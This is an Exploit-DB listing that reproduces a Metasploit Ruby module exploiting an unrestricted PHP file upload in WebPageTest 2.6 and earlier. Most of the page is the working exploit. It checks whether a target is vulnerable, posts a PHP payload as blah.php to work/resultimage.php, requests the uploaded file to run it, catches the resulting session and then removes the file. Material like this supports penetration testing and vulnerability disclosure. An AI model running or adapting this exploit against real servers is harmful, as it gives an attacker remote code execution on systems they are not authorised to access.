WebPageTest - Arbitrary '.PHP' File Upload (Metasploit)

EDB-ID:

20173

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

WEBAPPS

Exploit: / {}

Platform:

PHP

Date:

2012-08-02

Vulnerable App:

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "WebPageTest Arbitrary PHP File Upload",
            'Description'    => %q{
                    This module exploits a vulnerability found in
WebPageTest's Upload Feature. By
                default, the resultimage.php file does not verify the user-
supplied item before
                saving it to disk, and then places this item in the web
directory accessable by
                remote users.  This flaw can be abused to gain remote code
execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'dun',    #Discovery, PoC
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '83822'],
                    ['EDB', '19790']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['WebPageTest v2.6 or older', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jul 13 2012",
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('TARGETURI', [true, 'The base path to
WebPageTest', '/www/'])
                ], self.class)
    end


    def check
        peer = "#{rhost}:#{rport}"
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
```

```
        base = File.dirname("#{target_uri.path}.")

        res1 = send_request_raw({'uri'=>"#{base}/index.php"})
        res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})

        if res1 and res1.body =~ /WebPagetest \- Website Performance and
Optimization Test/ and
           res2 and res2.code == 200
            return Exploit::CheckCode::Vulnerable
        end

        return Exploit::CheckCode::Safe
    end


    def on_new_session(cli)
        if cli.type != "meterpreter"
            print_error("No automatic cleanup for you. Please manually
remove: #{@target_path}")
            return
        end
        cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
        cli.fs.file.rm(@target_path)
        print_status("#{@target_path} removed")
    end


    def exploit
        peer = "#{rhost}:#{rport}"
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        p = payload.encoded
        fname = "blah.php"
        data = Rex::MIME::Message.new
        data.add_part(
            "<?php #{p} ?>",                                    #Data is our
payload
            'multipart/form-data',                              #Content
Type
            nil,                                                #Transfer
Encoding
            "form-data; name=\"file\"; filename=\"#{fname}\""   #Content
Disposition
        )

        print_status("#{peer} - Uploading payload (#{p.length.to_s}
bytes)...")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{base}/work/resultimage.php",
            'ctype'  => "multipart/form-data; boundary=#{data.bound}",
            'data'   => data.to_s
        })

        if not res
            print_error("#{peer} - No response from host")
            return
        end

        @target_path = "#{base}/results/#{fname}"
        print_status("#{peer} - Requesting #{@target_path}")
        res = send_request_cgi({'uri'=>@target_path})

        handler

        if res and res.code == 404
            print_error("#{peer} - Payload failed to upload")
        end
```

```
    end
  end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions